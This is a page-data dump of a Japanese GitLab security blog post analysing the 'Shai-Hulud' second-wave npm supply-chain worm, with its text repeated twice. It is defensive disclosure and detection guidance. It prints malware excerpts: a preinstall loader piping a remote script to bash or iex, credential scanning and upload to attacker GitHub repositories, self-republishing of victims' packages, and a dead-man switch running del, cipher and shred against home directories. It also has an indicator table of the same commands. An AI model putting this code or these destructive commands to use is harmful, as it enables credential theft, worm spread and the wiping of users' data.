[{"data":1,"prerenderedAt":802},["ShallowReactive",2],{"/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-ja-jp":41,"banner-ja-jp":452,"footer-ja-jp":462,"blog-post-authors-ja-jp-Michael Henriksen|Daniel Abeles":698,"blog-related-posts-ja-jp-gitlab-discovers-widespread-npm-supply-chain-attack":724,"blog-promotions-ja-jp":741,"next-steps-ja-jp":793},{"id":4,"title":5,"authorSlugs":6,"authors":9,"body":12,"category":13,"categorySlug":13,"config":14,"content":18,"date":22,"description":26,"extension":27,"externalUrl":28,"featured":15,"heroImage":19,"isFeatured":15,"meta":29,"navigation":15,"path":30,"publishedDate":22,"rawbody":31,"seo":32,"slug":17,"stem":36,"tagSlugs":37,"tags":39,"template":16,"updatedDate":21,"__hash__":40},"blogPosts/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack.yml","GitLabがnpmサプライチェーンへの大規模攻撃を発見",[7,8],"michael-henriksen","daniel-abeles",[10,11],"Michael Henriksen","Daniel Abeles","GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n**GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n## 攻撃の内部\n\n当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n* GitHub、npm、AWS、GCP、Azureから認証情報を収集\n* 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n* 被害者が所有する他のパッケージを自動的に感染させることで伝播\n* **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n## 技術的分析:攻撃の展開プロセス\n\n![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n### 初期感染ベクトル\n\nマルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n```javascript\n// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // bunをダウンロードしてインストールします\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // 実際のマルウェアを実行します\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n```\n\n`setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n### 認証情報の収集\n\n実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n* **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n* **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n* **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n* **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n```javascript\nasync function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // ユーザーのホームディレクトリでシークレットをスキャンします\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // 検出結果を流出用リポジトリにアップロードします\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n```\n\n### データ流出ネットワーク\n\nマルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n```javascript\nasync function createRepo(name) {\n  // 特定の説明マーカーを持つリポジトリを作成します\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // 永続性のためにGitHub Actions Runnerをインストールします\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // セルフホストRunnerをインストールします\n  }\n\n  return repo;\n}\n```\n\n重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n```javascript\n// マルウェアネットワークがトークンを共有する方法:\nasync fetchToken() {\n  // 識別マーカーを持つリポジトリをGitHubで検索します\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // 侵害されたリポジトリからトークンを取得しようとします\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // 別の感染したシステムのトークンを使用します\n    }\n  }\n  return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n}\n```\n\n### サプライチェーン伝播\n\n盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n1. 被害者が保守するすべてのパッケージをダウンロード\n2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n3. 悪意のある`bun_environment.js`ペイロードをバンドル\n4. パッケージのバージョン番号をインクリメント\n5. 感染したパッケージをnpmに再公開\n\n```javascript\nasync function updatePackage(packageInfo) {\n  // 元のパッケージをダウンロードします\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // package.jsonを抽出して変更します\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // 悪意のあるpreinstallスクリプトを追加します\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // バージョンをインクリメントします\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // バックドアインストーラーをバンドルします\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // 再パッケージ化して公開します\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n```\n\n## デッドマンスイッチ\n\n当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\nマルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n```javascript\n// 重要:トークンの検証失敗が破壊をトリガーします\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // GitHubアクセスを見つけるか作成しようとします\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n    if (!fetchedToken) {  // GitHubアクセスが不可能です\n      if (npmToken) {\n        // npmの伝播のみにフォールバックします\n        await El(npmToken);\n      } else {\n        // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n          ]);\n        } else {\n          // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n```\n\nこれにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n## 侵害の痕跡\n\n検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n| タイプ        | 痕跡                                           | 説明                                         |\n| ---------- | -------------------------------------------- | ------------------------------------------ |\n| **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n| **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n| **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n| **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n| **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n| **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n| **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n| **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n| **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n| **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n## GitLabでこのマルウェアキャンペーンを検出する方法\n\nGitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\nまず、**[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n次に、**[GitLab Duo Chat](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n* 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n* 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\nエージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n## 今後の展望\n\nこのキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\nGitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。","security-labs",{"featured":15,"template":16,"slug":17},true,"BlogPost","gitlab-discovers-widespread-npm-supply-chain-attack",{"heroImage":19,"body":12,"authors":20,"updatedDate":21,"date":22,"title":5,"tags":23,"description":26,"category":13},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg",[10,11],"2025-12-01","2025-11-24",[24,25],"security","security research","攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。","yml",null,{},"/ja-jp/blog/gitlab-discovers-widespread-npm-supply-chain-attack","seo:\n  config:\n    noIndex: false\n  title: GitLabがnpmサプライチェーンへの大規模攻撃を発見\n  description: 攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。\n  ogImage: https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749665667/Blog/Hero%20Images/built-in-security.jpg\ncontent:\n  heroImage: https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665667/Blog/Hero%20Images/built-in-security.jpg\n  body: >-\n    GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「[Shai-Hulud](https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem)」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。\n\n\n    初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「**デッドマンスイッチ**」メカニズムが含まれていることが判明しました。\n\n\n    **GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。**\n\n\n    ## 攻撃の内部\n\n\n    当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。\n\n\n    * GitHub、npm、AWS、GCP、Azureから認証情報を収集\n\n    * 盗まれたデータを攻撃者が管理するGitHubリポジトリに流出\n\n    * 被害者が所有する他のパッケージを自動的に感染させることで伝播\n\n    * **マルウェアがそのインフラストラクチャへのアクセスを失った場合にトリガーされる破壊的なペイロードを含む**\n\n\n    複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。\n\n\n    ## 技術的分析:攻撃の展開プロセス\n\n\n    ![攻撃の展開プロセスを示すMermaidチャート](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png)\n\n\n    ### 初期感染ベクトル\n\n\n    マルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、`setup_bun.js`を参照するpreinstallスクリプトを含む、変更された`package.json`が含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。\n\n\n    ```javascript\n\n    // このファイルは被害者のパッケージにsetup_bun.jsとして追加されます\n\n    #!/usr/bin/env node\n\n    async function downloadAndSetupBun() {\n      // bunをダウンロードしてインストールします\n      let command = process.platform === 'win32'\n        ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n        : 'curl -fsSL https://bun.sh/install | bash';\n\n      execSync(command, { stdio: 'ignore' });\n\n      // 実際のマルウェアを実行します\n      runExecutable(bunPath, ['bun_environment.js']);\n    }\n\n    ```\n\n\n    `setup_bun.js`ローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされた`bun_environment.js`ペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。\n\n\n    ### 認証情報の収集\n\n\n    実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。\n\n\n    * **GitHubトークン**:環境変数とGitHub CLI構成を検索し、`ghp_`(GitHub個人アクセストークン)または`gho_`(GitHub OAuthトークン)で始まるトークンを探します\n\n    * **クラウド認証情報**:公式SDKを使用してAWS、GCP、Azureの認証情報を列挙し、環境変数、設定ファイル、メタデータサービスを確認します\n\n    * **npmトークン**:`.npmrc`ファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所です\n\n    * **ファイルシステムスキャン**:正規のセキュリティツールであるTrufflehogをダウンロードして実行し、ホームディレクトリ全体をスキャンして、設定ファイル、ソースコード、またはgit履歴に隠されたAPIキー、パスワード、その他のシークレットを探します\n\n\n    ```javascript\n\n    async function scanFilesystem() {\n      let scanner = new Trufflehog();\n      await scanner.initialize();\n\n      // ユーザーのホームディレクトリでシークレットをスキャンします\n      let findings = await scanner.scanFilesystem(os.homedir());\n\n      // 検出結果を流出用リポジトリにアップロードします\n      await github.saveContents(\"truffleSecrets.json\",\n        JSON.stringify(findings));\n    }\n\n    ```\n\n\n    ### データ流出ネットワーク\n\n\n    マルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。\n\n\n    ```javascript\n\n    async function createRepo(name) {\n      // 特定の説明マーカーを持つリポジトリを作成します\n      let repo = await this.octokit.repos.createForAuthenticatedUser({\n        name: name,\n        description: \"Sha1-Hulud: The Second Coming.\", // 後でリポジトリを見つけるためのマーカー\n        private: false,\n        auto_init: false,\n        has_discussions: true\n      });\n\n      // 永続性のためにGitHub Actions Runnerをインストールします\n      if (await this.checkWorkflowScope()) {\n        let token = await this.octokit.request(\n          \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n        );\n        await installRunner(token); // セルフホストRunnerをインストールします\n      }\n\n      return repo;\n    }\n\n    ```\n\n\n    重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。\n\n\n    ```javascript\n\n    // マルウェアネットワークがトークンを共有する方法:\n\n    async fetchToken() {\n      // 識別マーカーを持つリポジトリをGitHubで検索します\n      let results = await this.octokit.search.repos({\n        q: '\"Sha1-Hulud: The Second Coming.\"',\n        sort: \"updated\"\n      });\n\n      // 侵害されたリポジトリからトークンを取得しようとします\n      for (let repo of results) {\n        let contents = await fetch(\n          `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n        );\n\n        let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n        let token = data?.modules?.github?.token;\n\n        if (token && await validateToken(token)) {\n          return token;  // 別の感染したシステムのトークンを使用します\n        }\n      }\n      return null;  // ネットワーク内に有効なトークンが見つかりませんでした\n    }\n\n    ```\n\n\n    ### サプライチェーン伝播\n\n\n    盗まれたnpmトークンを使用して、マルウェアは次のことを行います。\n\n\n    1. 被害者が保守するすべてのパッケージをダウンロード\n\n    2. 各パッケージのpreinstallスクリプトに`setup_bun.js`ローダーを注入\n\n    3. 悪意のある`bun_environment.js`ペイロードをバンドル\n\n    4. パッケージのバージョン番号をインクリメント\n\n    5. 感染したパッケージをnpmに再公開\n\n\n    ```javascript\n\n    async function updatePackage(packageInfo) {\n      // 元のパッケージをダウンロードします\n      let tarball = await fetch(packageInfo.tarballUrl);\n\n      // package.jsonを抽出して変更します\n      let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n      // 悪意のあるpreinstallスクリプトを追加します\n      packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n      // バージョンをインクリメントします\n      let version = packageJson.version.split(\".\").map(Number);\n      version[2] = (version[2] || 0) + 1;\n      packageJson.version = version.join(\".\");\n\n      // バックドアインストーラーをバンドルします\n      await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n      // 再パッケージ化して公開します\n      await Bun.$`npm publish ${modifiedPackage}`.env({\n        NPM_CONFIG_TOKEN: this.token\n      });\n    }\n\n    ```\n\n\n    ## デッドマンスイッチ\n\n\n    当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。\n\n\n    マルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、`shred`を使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。\n\n\n    ```javascript\n\n    // 重要:トークンの検証失敗が破壊をトリガーします\n\n    async function aL0() {\n      let githubApi = new dq();\n      let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n      // GitHubアクセスを見つけるか作成しようとします\n      if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n        let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します\n\n        if (!fetchedToken) {  // GitHubアクセスが不可能です\n          if (npmToken) {\n            // npmの伝播のみにフォールバックします\n            await El(npmToken);\n          } else {\n            // 破壊トリガー:GitHubとnpmの両方へのアクセスがありません\n            console.log(\"Error 12\");\n            if (platform === \"windows\") {\n              // すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします\n              Bun.spawnSync([\"cmd.exe\", \"/c\",\n                \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n                \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n                \"cipher /W:%USERPROFILE%\"  // 削除されたデータを上書きします\n              ]);\n            } else {\n              // ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします\n              Bun.spawnSync([\"bash\", \"-c\",\n                \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n                \"xargs -0 -r shred -uvz -n 1 && \" +  // 上書きして削除します\n                \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // 空のディレクトリを削除します\n              ]);\n            }\n            process.exit(0);\n          }\n        }\n      }\n    }\n\n    ```\n\n\n    これにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。\n\n\n    ## 侵害の痕跡\n\n\n    検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。\n\n\n    | タイプ        | 痕跡                                           | 説明                                         |\n\n    | ---------- | -------------------------------------------- | ------------------------------------------ |\n\n    | **ファイル**   | `bun_environment.js`                         | node_modulesディレクトリ内の悪意のあるpost-installスクリプト |\n\n    | **ディレクトリ** | `.truffler-cache/`                           | Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |\n\n    | **ディレクトリ** | `.truffler-cache/extract/`                   | バイナリ抽出に使用される一時ディレクトリ                       |\n\n    | **ファイル**   | `.truffler-cache/trufflehog`                 | ダウンロードされたTrufflehogバイナリ(Linux/Mac)         |\n\n    | **ファイル**   | `.truffler-cache/trufflehog.exe`             | ダウンロードされたTrufflehogバイナリ(Windows)           |\n\n    | **プロセス**   | `del /F /Q /S \"%USERPROFILE%*\"`              | Windowsの破壊的ペイロードコマンド                       |\n\n    | **プロセス**   | `shred -uvz -n 1`                            | Linux/Macの破壊的ペイロードコマンド                     |\n\n    | **プロセス**   | `cipher /W:%USERPROFILE%`                    | ペイロード内のWindows安全削除コマンド                     |\n\n    | **コマンド**   | `curl -fsSL https://bun.sh/install \\| bash`   | npmパッケージインストール中の不審なBunインストール               |\n\n    | **コマンド**   | `powershell -c \"irm bun.sh/install.ps1\\|iex\"` | PowerShell経由のWindowsBunインストール              |\n\n\n    ## GitLabでこのマルウェアキャンペーンを検出する方法\n\n\n    GitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。\n\n\n    まず、**[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/)**を有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。** `package-lock.json`または`yarn.lock`ファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。** 完全なセットアップ手順については、[依存関係スキャンのドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/dependency_scanning_sbom/#enabling-the-analyzer)を参照してください。\n\n\n    有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。\n\n\n    次に、**[GitLab Duo Chat](https://docs.gitlab.com/ja-jp/user/gitlab_duo_chat/agentic_chat/)** を依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンから[セキュリティアナリストエージェント](https://docs.gitlab.com/ja-jp/user/duo_agent_platform/agents/foundational_agents/security_analyst_agent/)を選択し、次のような質問をするだけです。\n\n\n    * 「Shai-Hulud v2マルウェアキャンペーンの影響を受ける依存関係はありますか?」\n\n    * 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n\n    * 「このプロジェクトにnpmサプライチェーンの脆弱性はありますか?」\n\n    * 「JavaScript依存関係の重大な脆弱性を表示してください。」\n\n\n    エージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。\n\n\n    ![GitLabセキュリティアナリストエージェントの検出結果](https://res.cloudinary.com/about-gitlab-com/image/upload/v1764196041/ciwroqeub2ayhjcbajec.png)\n\n\n    多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。\n\n\n    ## 今後の展望\n\n\n    このキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。\n\n\n    GitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。\n  authors:\n    - Michael Henriksen\n    - Daniel Abeles\n  updatedDate: 2025-12-01\n  date: 2025-11-24\n  title: GitLabがnpmサプライチェーンへの大規模攻撃を発見\n  tags:\n    - security\n    - security research\n  description: 攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。\n  category: security-labs\nconfig:\n  featured: true\n  template: BlogPost\n  slug: 